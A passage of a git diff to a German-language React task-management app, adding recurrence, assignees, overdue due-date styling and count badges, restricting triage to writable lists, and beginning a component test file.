if (high.length > 0) groups.push({ key: 'p:high', title: '⚠️ Wichtig', count: high.length, tasks: high });
|
||||||
if (normal.length > 0) groups.push({ key: 'p:normal', title: 'Normal', count: normal.length, tasks: normal });
|
if (normal.length > 0) groups.push({ key: 'p:normal', title: 'Normal', count: normal.length, tasks: normal });
|
||||||
} else if (groupBy === 'due') {
|
} else if (groupBy === 'due') {
|
||||||
const today = new Date().toISOString().split('T')[0];
|
const now = new Date();
|
||||||
const overdue = filteredTasks.filter((t) => t.dueDate && t.dueDate < today);
|
const today = localDay(now);
|
||||||
const dueToday = filteredTasks.filter((t) => t.dueDate === today);
|
const overdue = filteredTasks.filter((t) => isOverdue(t.dueDate, now));
|
||||||
const upcoming = filteredTasks.filter((t) => t.dueDate && t.dueDate > today);
|
const dueToday = filteredTasks.filter((t) => isDueToday(t.dueDate, now) && !isOverdue(t.dueDate, now));
|
||||||
|
const upcoming = filteredTasks.filter((t) => t.dueDate && splitDue(t.dueDate).date > today);
|
||||||
const noDue = filteredTasks.filter((t) => !t.dueDate);
|
const noDue = filteredTasks.filter((t) => !t.dueDate);
|
||||||
if (overdue.length > 0) groups.push({ key: 'due:overdue', title: '⚠️ Überfällig', count: overdue.length, tasks: overdue });
|
if (overdue.length > 0) groups.push({ key: 'due:overdue', title: '⚠️ Überfällig', count: overdue.length, tasks: overdue });
|
||||||
if (dueToday.length > 0) groups.push({ key: 'due:today', title: '📅 Heute fällig', count: dueToday.length, tasks: dueToday });
|
if (dueToday.length > 0) groups.push({ key: 'due:today', title: '📅 Heute fällig', count: dueToday.length, tasks: dueToday });
|
||||||
@@ -464,6 +502,26 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
await api.updateThought(task.id, { notes: newNotes });
|
await api.updateThought(task.id, { notes: newNotes });
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const handleUpdateTaskRecurrence = async (task: Thought, recurrence: Recurrence) => {
|
||||||
|
setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, recurrence } : t)));
|
||||||
|
try {
|
||||||
|
await api.updateThought(task.id, { recurrence });
|
||||||
|
} catch {
|
||||||
|
setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, recurrence: task.recurrence } : t)));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleUpdateTaskAssignees = async (task: Thought, assignees: string[]) => {
|
||||||
|
triggerHaptic(10);
|
||||||
|
setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, assignees } : t)));
|
||||||
|
try {
|
||||||
|
const updated = await api.updateThought(task.id, { assignees });
|
||||||
|
setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, assignees: updated.assignees || [] } : t)));
|
||||||
|
} catch {
|
||||||
|
setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, assignees: task.assignees } : t)));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
const handleUpdateTaskTags = async (task: Thought, newTags: string[]) => {
|
const handleUpdateTaskTags = async (task: Thought, newTags: string[]) => {
|
||||||
setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, tags: newTags } : t)));
|
setTasks((prev) => prev.map((t) => (t.id === task.id ? { ...t, tags: newTags } : t)));
|
||||||
await api.updateThought(task.id, { tags: newTags });
|
await api.updateThought(task.id, { tags: newTags });
|
||||||
@@ -791,8 +849,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
|
|
||||||
const handleOpenShareModal = async (tl: TaskList) => {
|
const handleOpenShareModal = async (tl: TaskList) => {
|
||||||
setSharingTaskList(tl);
|
setSharingTaskList(tl);
|
||||||
setSelectedShareTargetId('');
|
|
||||||
setSelectedShareUser(null);
|
|
||||||
setShowShareListModal(true);
|
setShowShareListModal(true);
|
||||||
try {
|
try {
|
||||||
const [freshTeams, freshUsers, freshShares] = await Promise.all([
|
const [freshTeams, freshUsers, freshShares] = await Promise.all([
|
||||||
@@ -808,60 +864,6 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
const handleAddShare = async () => {
|
|
||||||
if (!sharingTaskList) return;
|
|
||||||
const targetId = addShareType === 'team' ? selectedShareTargetId : selectedShareUser?.id;
|
|
||||||
if (!targetId) return;
|
|
||||||
setShareLoading(true);
|
|
||||||
triggerHaptic(15);
|
|
||||||
try {
|
|
||||||
await api.addTaskListShare(sharingTaskList.id, {
|
|
||||||
targetType: addShareType,
|
|
||||||
targetId: targetId,
|
|
||||||
});
|
|
||||||
const [freshLists, freshShares] = await Promise.all([
|
|
||||||
api.getTaskLists(),
|
|
||||||
api.getTaskListShares(sharingTaskList.id).catch(() => []),
|
|
||||||
]);
|
|
||||||
setTaskLists(freshLists);
|
|
||||||
const updated = freshLists.find((l) => l.id === sharingTaskList.id);
|
|
||||||
if (updated) {
|
|
||||||
setSharingTaskList({ ...updated, shares: freshShares });
|
|
||||||
}
|
|
||||||
setSelectedShareTargetId('');
|
|
||||||
setSelectedShareUser(null);
|
|
||||||
await loadData();
|
|
||||||
} catch (err: any) {
|
|
||||||
alert(err.message || 'Fehler beim Hinzufügen der Freigabe');
|
|
||||||
} finally {
|
|
||||||
setShareLoading(false);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleRemoveShare = async (shareId: string) => {
|
|
||||||
if (!sharingTaskList) return;
|
|
||||||
if (!window.confirm('Freigabe wirklich aufheben?')) return;
|
|
||||||
setShareLoading(true);
|
|
||||||
triggerHaptic(15);
|
|
||||||
try {
|
|
||||||
await api.removeTaskListShare(sharingTaskList.id, shareId);
|
|
||||||
const [freshLists, freshShares] = await Promise.all([
|
|
||||||
api.getTaskLists(),
|
|
||||||
api.getTaskListShares(sharingTaskList.id).catch(() => []),
|
|
||||||
]);
|
|
||||||
setTaskLists(freshLists);
|
|
||||||
const updated = freshLists.find((l) => l.id === sharingTaskList.id);
|
|
||||||
if (updated) {
|
|
||||||
setSharingTaskList({ ...updated, shares: freshShares });
|
|
||||||
}
|
|
||||||
await loadData();
|
|
||||||
} catch (err: any) {
|
|
||||||
alert(err.message || 'Fehler beim Entfernen der Freigabe');
|
|
||||||
} finally {
|
|
||||||
setShareLoading(false);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleSaveColumns = async (newColumns: KanbanColumn[]) => {
|
const handleSaveColumns = async (newColumns: KanbanColumn[]) => {
|
||||||
triggerHaptic(15);
|
triggerHaptic(15);
|
||||||
if (currentSelectedList && selectedListId !== 'all') {
|
if (currentSelectedList && selectedListId !== 'all') {
|
||||||
@@ -989,6 +991,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
id: 'list-all',
|
id: 'list-all',
|
||||||
label: 'Alle Aufgaben',
|
label: 'Alle Aufgaben',
|
||||||
icon: <Layers className="w-4 h-4" />,
|
icon: <Layers className="w-4 h-4" />,
|
||||||
|
badge: openTasksCount || undefined,
|
||||||
active: selectedListId === 'all',
|
active: selectedListId === 'all',
|
||||||
onClick: () => setSelectedListId('all'),
|
onClick: () => setSelectedListId('all'),
|
||||||
},
|
},
|
||||||
@@ -1039,6 +1042,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
safeDiscarded.length,
|
safeDiscarded.length,
|
||||||
kanbanTasks.length,
|
kanbanTasks.length,
|
||||||
safeTaskLists,
|
safeTaskLists,
|
||||||
|
openTasksCount,
|
||||||
currentSelectedList,
|
currentSelectedList,
|
||||||
isSelectedListReadOnly,
|
isSelectedListReadOnly,
|
||||||
setPrimaryAction,
|
setPrimaryAction,
|
||||||
@@ -1248,9 +1252,17 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
|
|
||||||
{/* Due Date */}
|
{/* Due Date */}
|
||||||
{task.dueDate && (
|
{task.dueDate && (
|
||||||
<span className="inline-flex items-center gap-1 text-[10px] text-muted">
|
<span
|
||||||
|
className={`inline-flex items-center gap-1 text-[10px] ${!task.isCompleted && isOverdue(task.dueDate) ? 'text-status-err font-semibold' : 'text-muted'}`}
|
||||||
|
title={`Fällig: ${task.dueDate.replace('T', ' ')}`}
|
||||||
|
>
|
||||||
<Calendar className="w-2.5 h-2.5 text-accent" />
|
<Calendar className="w-2.5 h-2.5 text-accent" />
|
||||||
<span>{task.dueDate}</span>
|
<span>{formatDue(task.dueDate)}</span>
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
{task.recurrence && (
|
||||||
|
<span className="inline-flex items-center text-muted" title={`Wiederholt sich ${RECURRENCE_LABELS[task.recurrence]}`}>
|
||||||
|
<Repeat className="w-3 h-3" />
|
||||||
</span>
|
</span>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
@@ -1274,6 +1286,8 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{renderAssignees(task, 'xs')}
|
||||||
|
|
||||||
{/* Action Controls (Desktop only - on mobile, tapping the task opens Detail Modal) */}
|
{/* Action Controls (Desktop only - on mobile, tapping the task opens Detail Modal) */}
|
||||||
<div className="hidden sm:flex items-center gap-1 flex-shrink-0" onMouseDown={(e) => e.stopPropagation()} onClick={(e) => e.stopPropagation()}>
|
<div className="hidden sm:flex items-center gap-1 flex-shrink-0" onMouseDown={(e) => e.stopPropagation()} onClick={(e) => e.stopPropagation()}>
|
||||||
<button
|
<button
|
||||||
@@ -1329,41 +1343,42 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
: 'bg-canvas border-border text-muted hover:text-main'
|
: 'bg-canvas border-border text-muted hover:text-main'
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
Alle Aufgaben
|
{/* Counter on the label, like in the nav bar */}
|
||||||
|
<span className={`relative inline-flex items-center ${openTasksCount ? 'pr-3' : ''}`}>
|
||||||
|
Alle Aufgaben
|
||||||
|
<CountBadge count={openTasksCount} position="corner" className="-top-0.5 -right-2" />
|
||||||
|
</span>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
{safeTaskLists.map((tl) => (
|
{safeTaskLists.map((tl) => (
|
||||||
<div key={tl.id} className="relative group flex items-center">
|
<div
|
||||||
|
key={tl.id}
|
||||||
|
className={`relative group h-8 flex items-center border rounded-btn transition-colors ${
|
||||||
|
selectedListId === tl.id ? 'bg-panel border-accent text-main pr-1' : 'bg-canvas border-border text-muted hover:text-main'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
<button
|
<button
|
||||||
onClick={() => setSelectedListId(tl.id)}
|
onClick={() => setSelectedListId(tl.id)}
|
||||||
className={`h-8 px-3 text-xs font-medium border flex items-center gap-1.5 transition-colors ${
|
className="h-full px-3 text-xs font-medium flex items-center gap-1.5 rounded-btn"
|
||||||
selectedListId === tl.id
|
|
||||||
? 'bg-panel border-accent text-main rounded-l-btn rounded-r-none border-r-0'
|
|
||||||
: 'bg-canvas border-border text-muted hover:text-main rounded-btn'
|
|
||||||
}`}
|
|
||||||
>
|
>
|
||||||
<span>{tl.icon}</span>
|
<span>{tl.icon}</span>
|
||||||
<span>{tl.title}</span>
|
<span className={`relative inline-flex items-center ${tl.tasksCount ? 'pr-3' : ''}`}>
|
||||||
{tl.tasksCount !== undefined && tl.tasksCount > 0 && (
|
{tl.title}
|
||||||
<span className="ml-1 badge-neutral">{tl.tasksCount}</span>
|
<CountBadge count={tl.tasksCount} position="corner" className="-top-0.5 -right-2" />
|
||||||
)}
|
</span>
|
||||||
|
|
||||||
{(() => {
|
{(() => {
|
||||||
const isShared = (tl.shares && tl.shares.length > 0) || Boolean(tl.teamId) || (tl.members && tl.members.length > 1);
|
const isShared = (tl.shares && tl.shares.length > 0) || (tl.members && tl.members.length > 1);
|
||||||
if (!isShared) return null;
|
if (!isShared) return null;
|
||||||
const otherMembers = (tl.members || []).filter((m) => m.userId !== currentUser?.id);
|
const otherMembers = (tl.members || []).filter((m) => m.userId !== currentUser?.id);
|
||||||
if (otherMembers.length > 0) {
|
if (otherMembers.length > 0) {
|
||||||
return (
|
return (
|
||||||
<div className="flex items-center -space-x-1 ml-0.5" title={`Geteilt (${tl.members?.length || 1} Mitglieder)`}>
|
<AvatarStack
|
||||||
{otherMembers.slice(0, 2).map((m) => (
|
people={otherMembers.map(memberToPerson)}
|
||||||
<span key={m.userId} className="w-3.5 h-3.5 rounded-full overflow-hidden bg-accent/20 border border-panel text-[8px] font-bold text-accent flex items-center justify-center shrink-0">
|
size="xxs"
|
||||||
{m.avatarUrl ? (
|
ringClass={selectedListId === tl.id ? 'ring-[var(--bg-panel)]' : 'ring-[var(--bg-app)]'}
|
||||||
<img src={m.avatarUrl} alt="" className="w-full h-full object-cover rounded-full" />
|
className="ml-0.5"
|
||||||
) : (
|
/>
|
||||||
getInitials(m.displayName || m.email)[0]
|
|
||||||
)}
|
|
||||||
</span>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
return (
|
return (
|
||||||
@@ -1377,7 +1392,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
<button
|
<button
|
||||||
onClick={() => handleDeleteTaskList(tl.id)}
|
onClick={() => handleDeleteTaskList(tl.id)}
|
||||||
title="Liste löschen"
|
title="Liste löschen"
|
||||||
className="h-8 px-2 bg-panel border-y border-r border-accent text-faint hover:text-status-err hover:bg-status-err/10 rounded-r-btn flex items-center justify-center transition-colors cursor-pointer"
|
className="h-6 w-6 text-faint hover:text-status-err hover:bg-status-err/10 rounded-btn flex items-center justify-center transition-colors cursor-pointer"
|
||||||
>
|
>
|
||||||
<X className="w-3 h-3" />
|
<X className="w-3 h-3" />
|
||||||
</button>
|
</button>
|
||||||
@@ -1403,7 +1418,7 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
const sharesCount = (currentSelectedList.shares?.length || 0) > 0
|
const sharesCount = (currentSelectedList.shares?.length || 0) > 0
|
||||||
? currentSelectedList.shares.length
|
? currentSelectedList.shares.length
|
||||||
: (currentSelectedList.members?.filter((m) => m.userId !== listOwnerId).length || 0);
|
: (currentSelectedList.members?.filter((m) => m.userId !== listOwnerId).length || 0);
|
||||||
const isShared = sharesCount > 0 || Boolean(currentSelectedList.teamId) || ((currentSelectedList.members?.length || 0) > 1);
|
const isShared = sharesCount > 0 || ((currentSelectedList.members?.length || 0) > 1);
|
||||||
const ownerMember = currentSelectedList.members?.find((m) => m.role === 'owner' || m.userId === listOwnerId);
|
const ownerMember = currentSelectedList.members?.find((m) => m.role === 'owner' || m.userId === listOwnerId);
|
||||||
const ownerDisplayName = currentSelectedList.ownerName || ownerMember?.displayName || ownerMember?.email || 'Eigentümer';
|
const ownerDisplayName = currentSelectedList.ownerName || ownerMember?.displayName || ownerMember?.email || 'Eigentümer';
|
||||||
|
|
||||||
@@ -1961,60 +1976,35 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
|
|
||||||
{/* NEW LIST MODAL */}
|
{/* NEW LIST MODAL */}
|
||||||
{showNewListModal && (
|
{showNewListModal && (
|
||||||
<div className="fixed inset-0 !m-0 modal-overlay z-50 flex items-center justify-center p-4">
|
<FormSheet
|
||||||
<div className="w-full max-w-sm panel-surface shadow-panel p-4 space-y-3">
|
title="Neue Aufgabenliste erstellen"
|
||||||
<div className="flex items-center justify-between border-b border-border pb-2">
|
icon={<Layers className="w-4 h-4 text-accent" />}
|
||||||
<h3 className="text-sm font-semibold text-main flex items-center gap-1.5">
|
onClose={() => setShowNewListModal(false)}
|
||||||
<Layers className="w-4 h-4 text-accent" />
|
onSubmit={handleCreateTaskList}
|
||||||
<span>Neue Aufgabenliste erstellen</span>
|
>
|
||||||
</h3>
|
<div>
|
||||||
<button
|
<label className="block text-xs text-muted mb-1">Titel der Liste</label>
|
||||||
onClick={() => setShowNewListModal(false)}
|
<div className="flex items-center gap-1.5">
|
||||||
className="text-muted hover:text-main"
|
<input
|
||||||
>
|
type="text"
|
||||||
<X className="w-4 h-4" />
|
value={newListIcon}
|
||||||
</button>
|
onChange={(e) => setNewListIcon(e.target.value)}
|
||||||
|
maxLength={2}
|
||||||
|
className="w-12 sm:w-10 h-11 sm:h-8 text-center input-field text-base sm:text-sm"
|
||||||
|
title="Icon (Emoji)"
|
||||||
|
/>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
value={newListTitle}
|
||||||
|
onChange={(e) => setNewListTitle(e.target.value)}
|
||||||
|
placeholder="z.B. Homelab, Einkäufe, Steuern"
|
||||||
|
autoFocus
|
||||||
|
required
|
||||||
|
className="flex-1 min-w-0 h-11 sm:h-8 input-field px-2.5 text-base sm:text-xs"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
</FormSheet>
|
||||||
<form onSubmit={handleCreateTaskList} className="space-y-3">
|
|
||||||
<div>
|
|
||||||
<label className="block text-xs text-muted mb-1">Titel der Liste</label>
|
|
||||||
<div className="flex items-center gap-1.5">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={newListIcon}
|
|
||||||
onChange={(e) => setNewListIcon(e.target.value)}
|
|
||||||
maxLength={2}
|
|
||||||
className="w-10 h-8 text-center input-field text-sm"
|
|
||||||
title="Icon (Emoji)"
|
|
||||||
/>
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={newListTitle}
|
|
||||||
onChange={(e) => setNewListTitle(e.target.value)}
|
|
||||||
placeholder="z.B. Homelab, Einkäufe, Steuern"
|
|
||||||
autoFocus
|
|
||||||
required
|
|
||||||
className="flex-1 h-8 input-field px-2.5 text-xs"
|
|
||||||
/>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="flex items-center justify-end gap-2 pt-2 border-t border-border">
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={() => setShowNewListModal(false)}
|
|
||||||
className="btn-action h-7 px-3 text-xs"
|
|
||||||
>
|
|
||||||
Abbrechen
|
|
||||||
</button>
|
|
||||||
<button type="submit" className="btn-primary h-7 px-3 text-xs">
|
|
||||||
Erstellen
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</form>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* UNIFIED SHARE LIST MODAL */}
|
{/* UNIFIED SHARE LIST MODAL */}
|
||||||
@@ -2100,9 +2090,12 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
onUpdateStatus={handleSetKanbanStatus}
|
onUpdateStatus={handleSetKanbanStatus}
|
||||||
onUpdatePriority={handleSetPriority}
|
onUpdatePriority={handleSetPriority}
|
||||||
onUpdateDueDate={handleUpdateTaskDueDate}
|
onUpdateDueDate={handleUpdateTaskDueDate}
|
||||||
|
onUpdateRecurrence={handleUpdateTaskRecurrence}
|
||||||
onUpdateTaskList={handleUpdateTaskTaskList}
|
onUpdateTaskList={handleUpdateTaskTaskList}
|
||||||
onUpdateNotes={handleUpdateTaskNotes}
|
onUpdateNotes={handleUpdateTaskNotes}
|
||||||
onUpdateTags={handleUpdateTaskTags}
|
onUpdateTags={handleUpdateTaskTags}
|
||||||
|
assignableMembers={detailTask ? assignableMembers(detailTask) : []}
|
||||||
|
onUpdateAssignees={handleUpdateTaskAssignees}
|
||||||
onToggleSubtask={handleToggleSubtask}
|
onToggleSubtask={handleToggleSubtask}
|
||||||
onAddSubtask={handleAddSubtask}
|
onAddSubtask={handleAddSubtask}
|
||||||
onDeleteSubtask={handleDeleteSubtask}
|
onDeleteSubtask={handleDeleteSubtask}
|
||||||
@@ -2286,9 +2279,17 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
</span>
|
</span>
|
||||||
)}
|
)}
|
||||||
{task.dueDate && (
|
{task.dueDate && (
|
||||||
<span className="inline-flex items-center gap-0.5 text-[9px] text-muted">
|
<span
|
||||||
|
className={`inline-flex items-center gap-0.5 text-[9px] ${!task.isCompleted && isOverdue(task.dueDate) ? 'text-status-err font-semibold' : 'text-muted'}`}
|
||||||
|
title={`Fällig: ${task.dueDate.replace('T', ' ')}`}
|
||||||
|
>
|
||||||
<Calendar className="w-2.5 h-2.5" />
|
<Calendar className="w-2.5 h-2.5" />
|
||||||
<span>{task.dueDate}</span>
|
<span>{formatDue(task.dueDate)}</span>
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
{task.recurrence && (
|
||||||
|
<span className="inline-flex items-center text-muted" title={`Wiederholt sich ${RECURRENCE_LABELS[task.recurrence]}`}>
|
||||||
|
<Repeat className="w-2.5 h-2.5" />
|
||||||
</span>
|
</span>
|
||||||
)}
|
)}
|
||||||
{task.tags?.map((tag) => (
|
{task.tags?.map((tag) => (
|
||||||
@@ -2305,6 +2306,9 @@ export const TasksView: React.FC<TasksViewProps> = ({
|
|||||||
#{tag}
|
#{tag}
|
||||||
</button>
|
</button>
|
||||||
))}
|
))}
|
||||||
|
{getAssigneePeople(task).length > 0 && (
|
||||||
|
<span className="ml-auto">{renderAssignees(task, 'xxs')}</span>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Column Navigation controls: Move Left / Move Right */}
|
{/* Column Navigation controls: Move Left / Move Right */}
|
||||||
|
|||||||
@@ -20,6 +20,7 @@ import {
|
|||||||
MoreHorizontal,
|
MoreHorizontal,
|
||||||
} from 'lucide-react';
|
} from 'lucide-react';
|
||||||
import { SharedList, Thought } from '../../lib/types';
|
import { SharedList, Thought } from '../../lib/types';
|
||||||
|
import { addDays, formatDue } from '../../lib/due';
|
||||||
import { api, triggerHaptic } from '../../lib/api';
|
import { api, triggerHaptic } from '../../lib/api';
|
||||||
|
|
||||||
interface TriageDeckProps {
|
interface TriageDeckProps {
|
||||||
@@ -220,13 +221,13 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
|||||||
onDeckChange,
|
onDeckChange,
|
||||||
onFocusCapture,
|
onFocusCapture,
|
||||||
}) => {
|
}) => {
|
||||||
|
const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
|
||||||
|
const singleWritableList = writableLists.length === 1 ? writableLists[0] : null;
|
||||||
|
|
||||||
const [cards, setCards] = useState<Thought[]>(deck);
|
const [cards, setCards] = useState<Thought[]>(deck);
|
||||||
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
|
const [lastTriaged, setLastTriaged] = useState<Thought | null>(null);
|
||||||
const [showDateModal, setShowDateModal] = useState(false);
|
const [showDateModal, setShowDateModal] = useState(false);
|
||||||
const [taskDueDate, setTaskDueDate] = useState(() => {
|
const [taskDueDate, setTaskDueDate] = useState(() => addDays(1));
|
||||||
const tomorrow = new Date(Date.now() + 86400000);
|
|
||||||
return tomorrow.toISOString().slice(0, 10);
|
|
||||||
});
|
|
||||||
const [showListSelector, setShowListSelector] = useState(false);
|
const [showListSelector, setShowListSelector] = useState(false);
|
||||||
|
|
||||||
// Long-Press Action Sheet state (for Triage Card or Queue Item)
|
// Long-Press Action Sheet state (for Triage Card or Queue Item)
|
||||||
@@ -666,7 +667,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
|||||||
|
|
||||||
{activeCard.dueDate && (
|
{activeCard.dueDate && (
|
||||||
<span className="px-2 py-0.5 bg-canvas text-muted border border-border rounded-btn text-xs">
|
<span className="px-2 py-0.5 bg-canvas text-muted border border-border rounded-btn text-xs">
|
||||||
📅 {activeCard.dueDate}
|
📅 {formatDue(activeCard.dueDate)}
|
||||||
</span>
|
</span>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
@@ -704,8 +705,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
|||||||
Quick Dump direkt einer Liste zuordnen:
|
Quick Dump direkt einer Liste zuordnen:
|
||||||
</p>
|
</p>
|
||||||
<div className="flex flex-wrap gap-1.5">
|
<div className="flex flex-wrap gap-1.5">
|
||||||
{lists.length > 0 ? (
|
{writableLists.length > 0 ? (
|
||||||
lists.map((lst) => (
|
writableLists.map((lst) => (
|
||||||
<button
|
<button
|
||||||
key={lst.id}
|
key={lst.id}
|
||||||
onClick={() =>
|
onClick={() =>
|
||||||
@@ -748,17 +749,35 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
|||||||
</button>
|
</button>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
|
disabled={writableLists.length === 0}
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
|
if (singleWritableList) {
|
||||||
|
handleAction('keep', {
|
||||||
|
convertTo: 'list_item',
|
||||||
|
targetListId: singleWritableList.id,
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
setShowDateModal(false);
|
setShowDateModal(false);
|
||||||
setShowListSelector((prev) => !prev);
|
setShowListSelector((prev) => !prev);
|
||||||
}}
|
}}
|
||||||
title="Auf eine geteilte Liste setzen"
|
title={
|
||||||
|
writableLists.length === 0
|
||||||
|
? 'Keine Liste vorhanden'
|
||||||
|
: singleWritableList
|
||||||
|
? `Auf ${singleWritableList.title}`
|
||||||
|
: 'Auf eine geteilte Liste setzen'
|
||||||
|
}
|
||||||
className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${
|
className={`btn-action flex-1 h-9 px-3 justify-center whitespace-nowrap ${
|
||||||
showListSelector ? 'border-accent text-accent bg-accent-dim' : ''
|
writableLists.length === 0
|
||||||
|
? 'opacity-40 cursor-not-allowed'
|
||||||
|
: showListSelector
|
||||||
|
? 'border-accent text-accent bg-accent-dim'
|
||||||
|
: ''
|
||||||
}`}
|
}`}
|
||||||
>
|
>
|
||||||
<ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
|
<ShoppingCart className="w-3.5 h-3.5 text-accent flex-shrink-0" />
|
||||||
<span>Auf Liste</span>
|
<span>{singleWritableList ? `Auf ${singleWritableList.title}` : 'Auf Liste'}</span>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
<button
|
<button
|
||||||
@@ -812,7 +831,7 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
|||||||
<SwipeableQueueItem
|
<SwipeableQueueItem
|
||||||
key={item.id}
|
key={item.id}
|
||||||
item={item}
|
item={item}
|
||||||
lists={lists}
|
lists={writableLists}
|
||||||
onBringToFront={handleBringToFront}
|
onBringToFront={handleBringToFront}
|
||||||
onOpenActionSheet={openActionSheetForCard}
|
onOpenActionSheet={openActionSheetForCard}
|
||||||
onAction={handleAction}
|
onAction={handleAction}
|
||||||
@@ -856,13 +875,39 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
|||||||
<div className="grid grid-cols-2 gap-2">
|
<div className="grid grid-cols-2 gap-2">
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => setSheetMode('list')}
|
disabled={writableLists.length === 0}
|
||||||
className="min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98"
|
onClick={() => {
|
||||||
|
if (singleWritableList) {
|
||||||
|
handleAction('keep', {
|
||||||
|
convertTo: 'list_item',
|
||||||
|
targetListId: singleWritableList.id,
|
||||||
|
thoughtOverride: actionSheetCard,
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setSheetMode('list');
|
||||||
|
}}
|
||||||
|
title={
|
||||||
|
writableLists.length === 0
|
||||||
|
? 'Keine Liste vorhanden'
|
||||||
|
: singleWritableList
|
||||||
|
? `Auf ${singleWritableList.title}`
|
||||||
|
: 'Auf Liste setzen'
|
||||||
|
}
|
||||||
|
className={`min-h-[52px] px-3.5 py-2.5 rounded-xl bg-canvas hover:bg-panel-elevated border border-border text-left flex items-center gap-3 transition-colors cursor-pointer active:scale-98 ${
|
||||||
|
writableLists.length === 0 ? 'opacity-40 cursor-not-allowed' : ''
|
||||||
|
}`}
|
||||||
>
|
>
|
||||||
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
|
<ShoppingCart className="w-5 h-5 text-accent flex-shrink-0" />
|
||||||
<div>
|
<div className="min-w-0">
|
||||||
<div className="text-sm font-semibold text-main">Auf Liste</div>
|
<div className="text-sm font-semibold text-main">Auf Liste</div>
|
||||||
<div className="text-[11px] text-muted">Einkauf / Geteilt</div>
|
<div className="text-[11px] text-muted truncate">
|
||||||
|
{writableLists.length === 0
|
||||||
|
? 'Keine Liste vorhanden'
|
||||||
|
: singleWritableList
|
||||||
|
? singleWritableList.title
|
||||||
|
: 'Einkauf / Geteilt'}
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</button>
|
</button>
|
||||||
|
|
||||||
@@ -1001,8 +1046,8 @@ export const TriageDeck: React.FC<TriageDeckProps> = ({
|
|||||||
Auf welche Liste soll dieser Punkt gesetzt werden?
|
Auf welche Liste soll dieser Punkt gesetzt werden?
|
||||||
</p>
|
</p>
|
||||||
<div className="max-h-60 overflow-y-auto space-y-1.5">
|
<div className="max-h-60 overflow-y-auto space-y-1.5">
|
||||||
{lists.length > 0 ? (
|
{writableLists.length > 0 ? (
|
||||||
lists.map((lst) => (
|
writableLists.map((lst) => (
|
||||||
<button
|
<button
|
||||||
key={lst.id}
|
key={lst.id}
|
||||||
type="button"
|
type="button"
|
||||||
|
|||||||
@@ -0,0 +1,70 @@
|
|||||||
|
import { describe, it, expect, vi } from 'vitest';
|
||||||
|
import { render, screen, fireEvent } from '@testing-library/react';
|
||||||
|
import { TaskDetailModal } from '../TaskDetailModal';
|
||||||
|
import { Thought } from '../../../lib/types';
|
||||||
|
|
||||||
|
const task: Thought = {
|
||||||
|
id: 'th_1',
|
||||||
|
userId: 'usr_1',
|
||||||
|
